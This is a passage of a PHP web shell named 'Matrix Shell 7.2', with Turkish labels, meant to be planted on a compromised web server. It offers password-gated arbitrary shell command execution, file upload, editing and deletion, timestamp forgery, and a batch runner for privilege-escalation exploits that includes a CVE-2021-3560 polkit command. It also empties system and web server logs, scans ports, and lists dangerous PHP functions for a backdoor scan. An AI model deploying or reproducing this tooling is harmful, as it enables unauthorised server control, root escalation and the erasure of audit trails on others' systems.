130 => array('baslik' => 'CVE-2021-3560 Polkit (manuel)', 'komut' => 'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:privesc string:"" int32:1 2>/dev/null && sleep 2 && su privesc -c whoami 2>/dev/null && userdel -f privesc 2>/dev/null'),
);
}
function listDizin($dizin = '.') {
$dosyalar = array();
if ($handle = opendir($dizin)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$yol = $dizin . '/' . $entry;
$tip = @is_dir($yol) ? 'dizin' : (@is_file($yol) ? 'dosya' : 'bilinmeyen');
$boyut = ($tip == 'dosya') ? @filesize($yol) : 0;
$izinler = @fileperms($yol) ? substr(sprintf('%o', @fileperms($yol)), -4) : '????';
$degistirme = @filemtime($yol) ? date("Y-m-d H:i:s", @filemtime($yol)) : 'Bilinmiyor';
$dosyalar[] = array('isim' => $entry, 'yol' => $yol, 'tip' => $tip, 'boyut' => $boyut, 'izinler' => $izinler, 'degistirme' => $degistirme);
}
}
closedir($handle);
}
usort($dosyalar, function($a, $b) {
if ($a['tip'] == 'dizin' && $b['tip'] != 'dizin') return -1;
if ($a['tip'] != 'dizin' && $b['tip'] == 'dizin') return 1;
return strcasecmp($a['isim'], $b['isim']);
});
return $dosyalar;
}
function sadeceDizinler($dizin) {
$dirs = array();
if ($handle = opendir($dizin)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != ".." && @is_dir($dizin.'/'.$entry)) {
$dirs[] = array('isim' => $entry, 'yol' => $dizin.'/'.$entry);
}
}
closedir($handle);
}
usort($dirs, function($a, $b) {
return strcasecmp($a['isim'], $b['isim']);
});
return $dirs;
}
function logTemizle() {
$logDosyalari = array('/var/log/auth.log','/var/log/syslog','/var/log/messages','/var/log/apache2/access.log','/var/log/apache2/error.log','/var/log/nginx/access.log','/var/log/nginx/error.log','/var/log/lastlog','/var/log/wtmp','/var/log/btmp');
$temizlenenler = array();
foreach ($logDosyalari as $log) {
if (file_exists($log) && is_writable($log) && file_put_contents($log, '') !== false) {
$temizlenenler[] = $log;
}
}
return $temizlenenler;
}
function backdoorTara($dizin) {
$suskun = array();
$kelimeler = array('base64_decode','eval(','exec(','shell_exec','system(','passthru','popen(','proc_open','assert(','preg_replace','create_function','$_GET[','$_POST[','$_REQUEST[','phpinfo','chmod(','fwrite(','file_put_contents','curl_exec','allow_url_include');
if (!class_exists('RecursiveIteratorIterator')) return "HATA: RecursiveIteratorIterator bulunamadi.";
try {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dizin, RecursiveDirectoryIterator::SKIP_DOTS));
foreach ($iterator as $f) {
if ($f->isFile() && in_array($f->getExtension(), array('php','phtml','html','htm'))) {
if ($f->getPathname() == __FILE__) continue;
$icerik = file_get_contents($f->getPathname());
$eslesen = array();
foreach ($kelimeler as $k) if (stripos($icerik, $k) !== false) $eslesen[] = $k;
if (count($eslesen) > 3) $suskun[] = array('dosya' => $f->getPathname(), 'suskunlar' => $eslesen, 'sayi' => count($eslesen));
}
}
} catch (Exception $e) { return "HATA: " . $e->getMessage(); }
return $suskun;
}
function agTarama($hedef, $portlar) {
$sonuc = array();
$liste = strpos($portlar, '-') ? range((int)substr($portlar,0,strpos($portlar,'-')), (int)substr($portlar,strpos($portlar,'-')+1)) : explode(',', $portlar);
foreach ($liste as $port) {
$s = @fsockopen($hedef, (int)$port, $errno, $errstr, 2);
if ($s) {
$servis = getservbyport($port, 'tcp');
$sonuc[] = "Port $port: ACIK - " . ($servis ? $servis : 'Bilinmeyen');
fclose($s);
}
}
return $sonuc;
}
if (isset($_POST['ajax_action'])) {
header('Content-Type: application/json');
$act = $_POST['ajax_action'];
if ($act == 'get_dosya_icerik') {
$yol = urldecode($_POST['yol']);
echo json_encode(file_exists($yol) ? array('icerik' => file_get_contents($yol)) : array('hata' => 'Bulunamadi'));
exit;
}
if ($act == 'kaydet_dosya') {
$yol = urldecode($_POST['yol']);
echo json_encode(array('basari' => file_put_contents($yol, $_POST['icerik']) !== false));
exit;
}
if ($act == 'yeni_dosya_olustur') {
$yol = rtrim(urldecode($_POST['dizin']), '/') . '/' . $_POST['dosyaAdi'];
echo json_encode(array('basari' => file_put_contents($yol, $_POST['icerik']) !== false));
exit;
}
if ($act == 'mkdir') {
$yol = rtrim(urldecode($_POST['dizin']), '/') . '/' . $_POST['isim'];
echo json_encode(array('basari' => @mkdir($yol, 0755)));
exit;
}
if ($act == 'sil') {
$yol = urldecode($_POST['yol']);
echo json_encode(array('basari' => is_dir($yol) ? @rmdir($yol) : @unlink($yol)));
exit;
}
if ($act == 'rename') {
$eski = urldecode($_POST['eski']); $yeni = urldecode($_POST['yeni']);
if (dirname($yeni) == '.') $yeni = dirname($eski) . '/' . $yeni;
echo json_encode(array('basari' => @rename($eski, $yeni)));
exit;
}
if ($act == 'chmod') {
$yol = urldecode($_POST['yol']); $mod = octdec($_POST['mod']);
echo json_encode(array('basari' => @chmod($yol, $mod)));
exit;
}
if ($act == 'touch') {
$yol = urldecode($_POST['yol']); $tarih = $_POST['tarih'];
$cikti = calistir("touch -d \"$tarih\" " . escapeshellarg($yol));
echo json_encode(array('basari' => true, 'cikti' => $cikti));
exit;
}
if ($act == 'kopyala') {
$_SESSION['pano'] = urldecode($_POST['yol']);
echo json_encode(array('basari' => true, 'mesaj' => 'Kopyalandi: ' . basename($_SESSION['pano'])));
exit;
}
if ($act == 'yapistir') {
$dizin = urldecode($_POST['dizin']);
if (!empty($_SESSION['pano']) && file_exists($_SESSION['pano'])) {
$hedef = rtrim($dizin, '/') . '/' . basename($_SESSION['pano']);
$basarili = is_dir($_SESSION['pano']) ? (strpos(calistir("cp -r " . escapeshellarg($_SESSION['pano']) . " " . escapeshellarg($hedef)), 'HATA') === false) : @copy($_SESSION['pano'], $hedef);
echo json_encode(array('basari' => $basarili, 'mesaj' => $basarili ? 'Yapistirildi' : 'Hata'));
} else echo json_encode(array('basari' => false, 'mesaj' => 'Pano bos'));
exit;
}
if ($act == 'zip_sec') {
$secili = json_decode($_POST['secili'], true);
$dizin = urldecode($_POST['dizin']);
$zipAdi = $dizin . '/archive_' . date('YmdHis') . '.zip';
$komut = "cd " . escapeshellarg($dizin) . " && zip -r " . escapeshellarg($zipAdi);
foreach ($secili as $s) $komut .= " " . escapeshellarg(basename($s));
$cikti = calistir($komut);
echo json_encode(array('basari' => true, 'zip' => basename($zipAdi), 'cikti' => $cikti));
exit;
}
if ($act == 'unzip') {
$yol = urldecode($_POST['yol']);
$cikti = calistir("cd " . escapeshellarg(dirname($yol)) . " && unzip -o " . escapeshellarg($yol));
echo json_encode(array('basari' => true, 'cikti' => $cikti));
exit;
}
if ($act == 'download') {
$yol = urldecode($_POST['yol']);
if (!file_exists($yol)) die('Dosya yok');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($yol).'"');
header('Content-Length: '.filesize($yol));
readfile($yol);
exit;
}
if ($act == 'listdir') {
$dizin = urldecode($_POST['dizin']);
$dosyalar = listDizin($dizin);
$html = '';
foreach ($dosyalar as $d) {
$simge = $d['tip'] == 'dizin' ? '📁' : '📄';
$html .= '<div class="ikon-item" data-yol="'.htmlspecialchars($d['yol']).'" data-tip="'.$d['tip'].'">';
$html .= '<div class="ikon-simge">'.$simge.'</div>';
$html .= '<div class="ikon-isim">'.htmlspecialchars($d['isim']).'</div>';
$html .= '</div>';
}
echo json_encode(array('html' => $html));
exit;
}
if ($act == 'listtable') {
$dizin = urldecode($_POST['dizin']);
$dosyalar = listDizin($dizin);
$html = '<table class="dosya-tablosu"><thead><tr><th>Isim</th><th>Tur</th><th>Boyut</th><th>Izin</th><th>Degistirme</th></tr></thead><tbody>';
foreach ($dosyalar as $d) {
$html .= '<tr class="dosya-satir" data-yol="'.htmlspecialchars($d['yol']).'" data-tip="'.$d['tip'].'">';
$html .= '<td class="'.($d['tip']=='dizin'?'dizin':'dosya').'">'.($d['tip']=='dizin'?'📁 ':'📄 ').htmlspecialchars($d['isim']).'</td>';
$html .= '<td>'.$d['tip'].'</td><td>'.($d['tip']=='dosya'?number_format($d['boyut']).' bytes':'-').'</td><td>'.$d['izinler'].'</td><td>'.$d['degistirme'].'</td>';
$html .= '</tr>';
}
$html .= '</tbody></table>';
echo json_encode(array('html' => $html));
exit;
}
if ($act == 'get_subdirs') {
$dizin = urldecode($_POST['dizin']);
$dirs = sadeceDizinler($dizin);
$html = '';
foreach ($dirs as $d) {
$html .= '<div class="agac-dizin" data-yol="'.htmlspecialchars($d['yol']).'">';
$html .= '<span class="agac-ok">▶</span> 📁 <span class="agac-isim">'.htmlspecialchars($d['isim']).'</span>';
$html .= '<div class="agac-cocuklar" style="display:none;margin-left:16px;"></div>';
$html .= '</div>';
}
echo json_encode(array('html' => $html));
exit;
}
if ($act == 'terminal') {
$komut = $_POST['komut'];
if (!isset($_SESSION['terminal'])) $_SESSION['terminal'] = array();
$cikti = calistir($komut);
$_SESSION['terminal'][] = array('komut' => $komut, 'cikti' => $cikti);
echo json_encode(array('basari' => true, 'cikti' => $cikti));
exit;
}
if ($act == 'terminal_temizle') {
$_SESSION['terminal'] = array();
echo json_encode(array('basari' => true));
exit;
}
if ($act == 'run_exploit_batch') {
$id = (int)$_POST['exploit_id'];
$exploits = get_exploits();
if (isset($exploits[$id])) {
$exp = $exploits[$id];
$cikti = calistir($exp['komut']);
$kullanici = trim(calistir('whoami'));
$durum = (strpos($kullanici, 'root') !== false || strpos($kullanici, 'uid=0') !== false) ? 'basarili' : ((empty(trim($cikti)) && strpos($cikti, 'timed out') === false) ? 'pasif' : 'basarisiz');
echo json_encode(array('status' => 'success', 'exploit_id' => $id, 'baslik' => $exp['baslik'], 'cikti' => $cikti, 'kullanici' => $kullanici, 'durum' => $durum, 'is_root' => ($durum == 'basarili')));
} else echo json_encode(array('status' => 'finished'));
exit;
}
if ($act == 'upload') {
$dizin = urldecode($_POST['dizin']);
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$hedef = rtrim($dizin, '/') . '/' . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $hedef)) {
echo json_encode(array('basari' => true, 'mesaj' => 'Yuklendi: ' . basename($_FILES['file']['name'])));
} else {
echo json_encode(array('basari' => false, 'mesaj' => 'Yukleme basarisiz'));
}
} else {
$hata = isset($_FILES['file']) ? 'Hata kodu: ' . $_FILES['file']['error'] : 'Dosya secilmedi';
echo json_encode(array('basari' => false, 'mesaj' => $hata));
}
exit;
}
if ($act == 'log_temizle') {
$temizlenen = logTemizle();
echo json_encode(array('basari' => true, 'mesaj' => count($temizlenen) . ' log temizlendi.'));
exit;
}
if ($act == 'backdoor_tara') {
$dizin = isset($_POST['dizin']) ? urldecode($_POST['dizin']) : '.';
$sonuc = backdoorTara($dizin);
if (is_string($sonuc) && strpos($sonuc, 'HATA') === 0) {
echo json_encode(array('basari' => false, 'sonuc' => array(), 'mesaj' => $sonuc));
} else {
echo json_encode(array('basari' => true, 'sonuc' => $sonuc, 'mesaj' => ''));
}
exit;
}
if ($act == 'ag_tara') {
$hedef = isset($_POST['hedef']) ? $_POST['hedef'] : '127.0.0.1';
$portlar = isset($_POST['portlar']) ? $_POST['portlar'] : '1-100';
$acikPortlar = agTarama($hedef, $portlar);
if (count($acikPortlar) > 0) {
echo json_encode(array('basari' => true, 'mesaj' => "ACIK PORTLAR ($hedef):\n" . implode("\n", $acikPortlar)));
} else {
echo json_encode(array('basari' => true, 'mesaj' => 'Acik port bulunamadi.'));
}
exit;
}
exit;
}
if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
if (isset($_POST['sifre']) && $_POST['sifre'] === $sifre) {
$_SESSION['auth'] = true;
header('Location: ' . basename(__FILE__));
exit;
} else {
die('<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Matrix Giris</title><style>body{background:black;color:lime;font-family:monospace;text-align:center;padding:50px;}input{background:rgba(0,255,0,0.1);border:1px solid lime;color:lime;padding:10px;}</style></head><body><h1>Matrix\'e Hos Geldin</h1><form method="post"><input type="password" name="sifre" placeholder="Sifre"><input type="submit" value="Giris"></form></body></html>');
}
}
$serverInfo = array(
'OS' => php_uname('s') . ' ' . php_uname('r') . ' (' . php_uname('m') . ')',
'Web' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?',
'PHP' => phpversion(),
'Yuk' => (function_exists('sys_getloadavg') && ($yuk = sys_getloadavg()) !== false && is_array($yuk)) ? implode(' ', $yuk) : '?',
'Disk' => (function_exists('disk_free_space') && function_exists('disk_total_space') && @disk_free_space("/") && @disk_total_space("/"))
? round(disk_free_space("/")/1024/1024,1).' MB / '.round(disk_total_space("/")/1024/1024,1).' MB'
: '?',
'Panel' => file_exists('/usr/local/cpanel/cpanel') ? 'cPanel/WHM' : (file_exists('/usr/local/directadmin') ? 'DirectAdmin' : 'Yok')
);
$mevcutDizin = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Matrix Shell 7.2</title>
<style>
:root {
--bg:#000; --fg:#0f0; --border:#0f0;
--win-bg:rgba(0,0,0,0.9); --win-header:#1a1a1a;
--sidebar-bg:rgba(0,20,0,0.8); --toolbar-bg:rgba(0,30,0,0.7);
--btn:#0a0; --btn-hover:#0c0; --btn-text:#fff;
--shadow:0 0 30px rgba(0,255,0,0.4);
--radius:10px;
}
*{margin:0;padding:0;box-sizing:border-box;font-family:'Segoe UI', system-ui, monospace;}
body{background:var(--bg);color:var(--fg);overflow:hidden;height:100vh;width:100vw;}
canvas#matrix-canvas{position:fixed;top:0;left:0;z-index:0;}
#desktop{position:relative;z-index:10;width:100%;height:100%;}
#panel{position:absolute;top:0;left:0;right:0;height:32px;background:rgba(0,0,0,0.9);border-bottom:1px solid var(--border);display:flex;align-items:center;padding:0 15px;color:#fff;font-weight:bold;z-index:20;gap:20px;font-size:13px;backdrop-filter:blur(5px);}
#panel a{color:#fff;text-decoration:none;}
#panel .system-info{font-size:11px;margin-left:auto;display:flex;gap:15px;opacity:0.8;}
#desktop-icons{position:absolute;top:60px;left:20px;z-index:10;display:flex;flex-direction:column;gap:20px;}
.desktop-icon{display:flex;flex-direction:column;align-items:center;color:var(--fg);cursor:pointer;width:80px;text-align:center;padding:8px;border-radius:8px;transition:background 0.2s;}
.desktop-icon:hover{background:rgba(0,255,0,0.1);}
.desktop-icon span{font-size:38px;}
.desktop-icon p{font-size:12px;margin-top:5px;word-break:break-word;}
.window{position:absolute;top:50px;left:50px;width:850px;height:550px;background:var(--win-bg);border:1px solid var(--border);border-radius:var(--radius);box-shadow:var(--shadow);display:none;flex-direction:column;z-index:100;min-width:400px;min-height:250px;resize:both;overflow:hidden;backdrop-filter:blur(10px);}
.window.active{z-index:200;}
.window.maximized{top:32px!important;left:0!important;width:100vw!important;height:calc(100vh - 32px - 34px)!important;resize:none;border-radius:0;}
.window-header{background:var(--win-header);padding:8px 12px;display:flex;align-items:center;border-bottom:1px solid var(--border);border-radius:var(--radius) var(--radius) 0 0;cursor:default;color:#ccc;user-select:none;gap:8px;}
.window.maximized .window-header{border-radius:0;}
.window-header .traffic-lights{display:flex;gap:8px;margin-right:10px;}
.traffic-light{width:12px;height:12px;border-radius:50%;cursor:pointer;transition:filter 0.2s;}
.traffic-light:hover{filter:brightness(1.4);}
.traffic-light.close{background:#ff5f57;}
.traffic-light.minimize{background:#febc2e;}
.traffic-light.maximize{background:#28c840;}
.window-header .win-title{flex:1;font-weight:600;font-size:13px;text-align:center;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}
.window-content{flex:1;overflow:hidden;display:flex;flex-direction:column;}
button,.btn{background:var(--btn);color:var(--btn-text);border:1px solid var(--border);padding:6px 14px;border-radius:6px;cursor:pointer;margin:2px;font-size:13px;transition:background 0.2s;}
button:hover{background:var(--btn-hover);}
input[type="text"],textarea,select{background:#111;border:1px solid var(--border);color:var(--fg);padding:8px 10px;border-radius:6px;font-size:13px;width:100%;margin:3px 0;outline:none;transition:border-color 0.2s;}
input[type="text"]:focus,textarea:focus{border-color:#fff;}
.taskbar{position:fixed;bottom:0;left:0;right:0;height:34px;background:rgba(0,0,0,0.9);border-top:1px solid var(--border);display:flex;align-items:center;padding:0 15px;z-index:150;gap:6px;backdrop-filter:blur(5px);}
.taskbar-item{background:var(--btn);color:#fff;padding:5px 14px;border-radius:6px;cursor:pointer;font-size:12px;transition:background 0.2s;}
.taskbar-item:hover{background:var(--btn-hover);}
.taskbar-item.active{background:#0c0;}
.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:500;align-items:center;justify-content:center;}
.modal-box{background:var(--win-bg);border:1px solid var(--border);border-radius:12px;padding:25px;min-width:350px;box-shadow:var(--shadow);}
#contextMenu{display:none;position:absolute;background:#0a0a0a;border:1px solid var(--border);z-index:1000;min-width:180px;border-radius:8px;box-shadow:0 0 15px rgba(0,0,0,0.8);}
#contextMenu div{padding:10px 16px;cursor:pointer;color:var(--fg);font-size:13px;transition:background 0.15s;}
#contextMenu div:hover{background:rgba(0,255,0,0.15);}
.finder-toolbar{display:flex;align-items:center;gap:8px;padding:10px 15px;background:var(--toolbar-bg);border-bottom:1px solid var(--border);flex-wrap:wrap;}
.finder-toolbar input[type="text"]{flex:1;min-width:180px;background:#0a0a0a;}
.finder-body{display:flex;flex:1;overflow:hidden;}
.finder-sidebar{width:240px;min-width:180px;background:var(--sidebar-bg);border-right:1px solid var(--border);overflow-y:auto;padding:10px 0;font-size:13px;}
.finder-sidebar .agac-dizin{padding:4px 10px;cursor:pointer;display:flex;align-items:center;gap:4px;white-space:nowrap;border-radius:4px;margin:0 5px;}
.finder-sidebar .agac-dizin:hover{background:rgba(0,255,0,0.1);}
.finder-sidebar .agac-dizin.active{background:rgba(0,255,0,0.2);}
.finder-sidebar .agac-ok{font-size:10px;width:14px;text-align:center;transition:transform 0.2s;display:inline-block;}
.finder-sidebar .agac-ok.acik{transform:rotate(90deg);}
.finder-main{flex:1;overflow-y:auto;padding:15px;display:flex;flex-wrap:wrap;align-content:flex-start;gap:15px;}
.finder-main.ikon-gorunum .ikon-item{width:90px;height:95px;display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;cursor:pointer;border:1px solid transparent;border-radius:8px;padding:8px;font-size:12px;word-break:break-word;transition:background 0.15s;}
.finder-main.ikon-gorunum .ikon-item:hover{background:rgba(0,255,0,0.08);border-color:rgba(0,255,0,0.3);}
.finder-main.ikon-gorunum .ikon-simge{font-size:38px;}
.finder-main.liste-gorunum{padding:0;flex-wrap:nowrap;display:block;}
.finder-main.liste-gorunum .ikon-item{display:none;}
.finder-main.liste-gorunum table{width:100%;border-collapse:collapse;}
.finder-main.liste-gorunum table th{background:rgba(0,255,0,0.15);color:#fff;padding:10px;text-align:left;position:sticky;top:0;}
.finder-main.liste-gorunum table td{padding:8px 10px;border-bottom:1px solid rgba(0,255,0,0.2);}
.finder-main.liste-gorunum table tr:hover{background:rgba(0,255,0,0.05);}
.dizin{color:#ffd700;font-weight:bold;}
.dosya{color:#0ff;}
#win-terminal .window-content{background:#000;padding:0;}
.terminal-header{background:#1a1a1a;padding:8px 12px;border-bottom:1px solid var(--border);display:flex;gap:15px;font-size:12px;color:#aaa;}
.terminal-body{padding:10px;flex:1;overflow-y:auto;font-family:'Courier New', monospace;font-size:14px;line-height:1.5;}
.terminal-input-row{display:flex;padding:5px 10px;background:#0a0a0a;border-top:1px solid var(--border);}
.terminal-input-row input{background:transparent;border:none;color:var(--fg);flex:1;font-family:'Courier New', monospace;font-size:14px;}
.root-result{display:block;background:rgba(0,0,0,0.7);border:1px solid var(--border);padding:10px;margin:10px 0;border-radius:8px;}
.root-result.hidden{display:none;}
#guvenlik-cikti { max-height: 300px; overflow-y: auto; }
</style>
</head>
<body>
<canvas id="matrix-canvas"></canvas>
<div id="desktop">
<div id="panel">
<span>🐚 Matrix Shell 7.2</span>
<a href="?cikis=1">🚪 Cikis</a>
<div class="system-info">
<span><?php echo $serverInfo['OS']; ?></span>
<span>PHP <?php echo $serverInfo['PHP']; ?></span>
<span>Disk: <?php echo $serverInfo['Disk']; ?></span>
<span><?php echo $serverInfo['Panel']; ?></span>
</div>
</div>
<div id="desktop-icons">
<div class="desktop-icon" ondblclick="openWindow('finder')"><span>📁</span><p>Finder</p></div>
<div class="desktop-icon" ondblclick="openWindow('terminal')"><span>💻</span><p>Terminal</p></div>
<div class="desktop-icon" ondblclick="openWindow('root')"><span>🔓</span><p>Root Test</p></div>
<div class="desktop-icon" ondblclick="openWindow('guvenlik')"><span>🛡️</span><p>Guvenlik</p></div>
<div class="desktop-icon" ondblclick="openWindow('ag')"><span>🌐</span><p>Ag</p></div>
</div>
<div class="taskbar" id="taskbar"></div>
</div>
<div id="win-finder" class="window">
<div class="window-header" onmousedown="dragStart(event, 'finder')">
<div class="traffic-lights">
<div class="traffic-light close" onclick="closeWindow('finder')"></div>
<div class="traffic-light minimize" onclick="minimizeWindow('finder')"></div>
<div class="traffic-light maximize" onclick="toggleMaximize('finder')"></div>
</div>
<span class="win-title">Finder</span>
</div>
<div class="window-content">
<div class="finder-toolbar">
<button onclick="finderGeri()" title="Geri">←</button>
<button onclick="finderIleri()" title="Ileri">→</button>
<button onclick="finderUstGit()" title="Ust Dizin">↖️</button>
<button onclick="finderYenile()" title="Yenile">↻</button>
<input type="text" id="finder-adres" placeholder="Dizin yolu..." onkeydown="if(event.key==='Enter')finderGit(this.value)">
<button onclick="finderGit(document.getElementById('finder-adres').value)">Git</button>
<input type="text" id="finder-arama" placeholder="🔍 Ara..." oninput="finderAra()" style="max-width:160px;">
<button onclick="finderYeniDosya()">📄 Yeni Dosya</button>
<button onclick="finderYeniKlasor()">📁 Yeni Klasor</button>
<button onclick="document.getElementById('finder-upload-input').click()">📤 Yukle</button>
<input type="file" id="finder-upload-input" style="display:none;" onchange="finderUpload(this)">
<button onclick="finderToggleGorunum()" id="finder-gorunum-btn">🗂️ Ikon</button>
</div>
<div class="finder-body">
<div class="finder-sidebar" id="finder-sidebar"></div>
<div class="finder-main ikon-gorunum" id="finder-main"></div>
</div>
</div>
</div>
<div id="win-terminal" class="window" style="width:700px;height:450px;">
<div class="window-header" onmousedown="dragStart(event, 'terminal')">
<div class="traffic-lights">
<div class="traffic-light close" onclick="closeWindow('terminal')"></div>
<div class="traffic-light minimize" onclick="minimizeWindow('terminal')"></div>
<div class="traffic-light maximize" onclick="toggleMaximize('terminal')"></div>
</div>
<span class="win-title">Terminal — <?php echo trim(calistir('whoami')).'@'.php_uname('n'); ?></span>
</div>
<div class="window-content">
<div class="terminal-body" id="term-cikti"><?php if(isset($_SESSION['terminal'])) foreach($_SESSION['terminal'] as $t) echo '<div><span style="color:#0f0">$ '.htmlspecialchars($t['komut']).'</span><br>'.nl2br(htmlspecialchars($t['cikti'])).'</div>'; ?></div>
<div class="terminal-input-row">
<span style="color:#0f0;margin-right:5px;">$</span>
<input type="text" id="term-komut" placeholder="Komut girin..." onkeydown="if(event.key==='Enter')termCalistir()">
<button onclick="termCalistir()" style="background:transparent;border:none;color:#0f0;cursor:pointer;">↵</button>
<button onclick="termTemizle()" style="background:transparent;border:none;color:#f00;cursor:pointer;">🗑️</button>
</div>
</div>
</div>
<div id="win-root" class="window" style="width:750px;height:500px;">
<div class="window-header" onmousedown="dragStart(event, 'root')">
<div class="traffic-lights">
<div class="traffic-light close" onclick="closeWindow('root')"></div>
<div class="traffic-light minimize" onclick="minimizeWindow('root')"></div>
<div class="traffic-light maximize" onclick="toggleMaximize('root')"></div>
</div>
<span class="win-title">Root Yukseltme Testi</span>
</div>
<div class="window-content" style="padding:15px;overflow-y:auto;">
<div style="display:flex;align-items:center;gap:10px;margin-bottom:10px;">
<span>Toplam <b><?php echo count(get_exploits()); ?></b> exploit</span>
<button id="root-btn" onclick="startRootTests(<?php echo count(get_exploits()); ?>)">🔓 ROOT OL</button>
</div>
<div id="progress-container" style="display:none;margin:8px 0;"><div id="progress-bar" style="background:lime;height:6px;width:0%;border-radius:3px;transition:width 0.3s;"></div><small id="progress-text"></small></div>
<div class="filter-cards" style="display:flex;gap:10px;margin:10px 0;">
<button class="filter-card active" onclick="filtrele('tum',this)">Tumu</button>
<button class="filter-card" onclick="filtrele('basarili',this)">Basarili (0)</button>
<button class="filter-card" onclick="filtrele('basarisiz',this)">Basarisiz (0)</button>
<button class="filter-card" onclick="filtrele('pasif',this)">Pasif (0)</button>
</div>
<div id="root-listesi" style="font-size:13px;"></div>
</div>
</div>
<div id="win-guvenlik" class="window" style="width:600px;height:450px;">
<div class="window-header" onmousedown="dragStart(event, 'guvenlik')">
<div class="traffic-lights">
<div class="traffic-light close" onclick="closeWindow('guvenlik')"></div>
<div class="traffic-light minimize" onclick="minimizeWindow('guvenlik')"></div>
<div class="traffic-light maximize" onclick="toggleMaximize('guvenlik')"></div>
</div>
<span class="win-title">Guvenlik Araclari</span>
</div>
<div class="window-content" style="padding:20px;display:flex;flex-direction:column;gap:20px;">
<div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
<h3 style="margin-bottom:10px;">🗑️ Log Temizleme</h3>
<button onclick="logTemizleForm()">Sistem Loglarini Temizle</button>
</div>
<div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
<h3 style="margin-bottom:10px;">🔍 Backdoor Tarama</h3>
<input type="text" id="tara-dizin" value="<?php echo getcwd(); ?>" style="width:100%;margin-bottom:8px;">
<button onclick="backdoorTaraForm()">Taramayi Baslat</button>
<div id="guvenlik-cikti" style="font-size:12px;margin-top:10px;min-height:20px;"></div>
</div>
</div>
</div>
<div id="win-ag" class="window" style="width:600px;height:450px;">
<div class="window-header" onmousedown="dragStart(event, 'ag')">
<div class="traffic-lights">
<div class="traffic-light close" onclick="closeWindow('ag')"></div>
<div class="traffic-light minimize" onclick="minimizeWindow('ag')"></div>
<div class="traffic-light maximize" onclick="toggleMaximize('ag')"></div>
</div>
<span class="win-title">Ag Tarama</span>
</div>
<div class="window-content" style="padding:20px;">
<div style="background:rgba(0,30,0,0.5);padding:15px;border-radius:8px;">
<h3 style="margin-bottom:10px;">🌐 Port Tarama</h3>
<input type="text" id="agHedef" value="127.0.0.1" placeholder="Hedef IP" style="width:100%;margin-bottom:8px;">
<input type="text" id="agPortlar" value="1-100" placeholder="Port araligi (orn: 1-1000)" style="width:100%;margin-bottom:8px;">
<button onclick="agTaraForm()">Taramayi Baslat</button>
</div>
<div id="ag-cikti" style="font-size:12px;margin-top:15px;max-height:250px;overflow-y:auto;"></div>
</div>
</div>
<div id="chmod-modal" class="modal-overlay"><div class="modal-box"><h3>🔑 Izin Degistir</h3><p id="chmod-dosya"></p><input type="text" id="chmod-deger" placeholder="0755"><br><button onclick="chmodKaydet()">Degistir</button> <button onclick="document.getElementById('chmod-modal').style.display='none'">Kapat</button></div></div>
<div id="touch-modal" class="modal-overlay"><div class="modal-box"><h3>🕒 Zaman Degistir</h3><p id="touch-dosya"></p><input type="text" id="touch-tarih" placeholder="YYYY-MM-DD HH:MM:SS"><br><button onclick="touchKaydet()">Degistir</button> <button onclick="document.getElementById('touch-modal').style.display='none'">Kapat</button></div></div>
<div id="edit-modal" class="modal-overlay"><div class="modal-box" style="width:80%;height:80%;"><h3>✏️ Dosya Duzenle</h3><textarea id="edit-icerik" style="width:100%;height:75%;background:#111;color:lime;"></textarea><br><button onclick="editKaydet()">Kaydet</button> <button onclick="document.getElementById('edit-modal').style.display='none'">Kapat</button></div></div>
<div id="newfile-modal" class="modal-overlay"><div class="modal-box"><h3>📄 Yeni Dosya</h3><input type="text" id="newfile-ad" placeholder="Dosya adi"><textarea id="newfile-icerik" style="height:150px;background:#111;color:lime;" placeholder="Icerik (opsiyonel)"></textarea><br><button onclick="newfileKaydet()">Olustur</button> <button onclick="document.getElementById('newfile-modal').style.display='none'">Kapat</button></div></div>
<div id="newfolder-modal" class="modal-overlay"><div class="modal-box"><h3>📁 Yeni Klasor</h3><input type="text" id="newfolder-ad" placeholder="Klasor adi"><br><button onclick="newfolderKaydet()">Olustur</button> <button onclick="document.getElementById('newfolder-modal').style.display='none'">Kapat</button></div></div>
<div id="contextMenu"></div>
<script>
var canvas = document.getElementById('matrix-canvas');
var ctx = canvas.getContext('2d');
function resizeCanvas(){ canvas.width = window.innerWidth; canvas.height = window.innerHeight; }
resizeCanvas(); window.addEventListener('resize', resizeCanvas);
var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ヲァィゥェォャュョッアイウエオカキクケコサシスセソ';
var drops = Array(Math.floor(canvas.width/14)).fill(1);
setInterval(function(){
ctx.fillStyle = 'rgba(0,0,0,0.05)';
ctx.fillRect(0,0,canvas.width,canvas.height);
ctx.fillStyle = '#0f0';
ctx.font = '14px monospace';
for(var i=0;i<drops.length;i++){
ctx.fillText(alphabet.charAt(Math.floor(Math.random()*alphabet.length)), i*14, drops[i]*14);
if(drops[i]*14 > canvas.height && Math.random() > 0.975) drops[i]=0;
drops[i]++;
}
}, 33);
var openWindows = {};
var zIndexCounter = 100;
var currentDir = '<?php echo $mevcutDizin; ?>';
var gorunumModu = 'ikon';
var historyStack = [currentDir];
var historyIndex = 0;
function openWindow(id){
var win = document.getElementById('win-'+id);
if(!win) return;
win.style.display = 'flex';
win.style.zIndex = ++zIndexCounter;
win.classList.add('active');
openWindows[id] = true;
updateTaskbar();
if(id==='finder') finderYukle(currentDir, false);
if(id==='terminal') document.getElementById('term-cikti').scrollTop = document.getElementById('term-cikti').scrollHeight;
}
function closeWindow(id){
